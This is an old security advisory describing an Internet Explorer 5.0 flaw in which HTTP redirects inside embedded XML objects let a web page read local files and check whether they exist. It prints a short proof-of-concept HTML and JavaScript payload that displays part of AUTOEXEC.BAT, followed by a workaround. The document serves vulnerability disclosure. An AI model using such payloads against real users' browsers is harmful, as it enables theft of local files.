Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or indirect
use of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.
Description:
Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (guess other versions
are affected) has security problems with
HTTP redirects in XML objects. This allows at least:
1) Reading any (local or nonlocal) XML file and any wellformed documents.
With the growing influence of XML I consider this a serious problem.
2) Reading parts of documents
3) Checking for the existence of local files.
I suppose reading of arbitrary files (not just XML) is also possible,
but do not have the time to explore.
Details:
When one embeds a XML document in a HTML document IE 5.0 does not handle
properly HTTP redirects
and allows access to the DOM of the embeded XML document.
The code is:
----------------------------------------------------------------------------------------
<object id="xm" type="text/xml" data="http://www.guninski.com/reject.cgi?autoexec"
width=400 height=200>
</object>
<SCRIPT>
function f()
{
s=xm.body.innerHTML;
a=window.open();
//alert(s);
a.document.open();
a.document.write("Here is a part of AUTOEXEC.BAT (the error message
is normal):<BR>"+s);
a.document.close();
}
setTimeout("f()",5000);
</SCRIPT>
----------------------------------------------------------------------------------------
Workaround:
Disable Active Scripting or Disable Script ActiveX Controls marked
Safe for Scripting
Demonstration is available at http://www.guninski.com/xmln.html
Copyright 1999 Georgi Guninski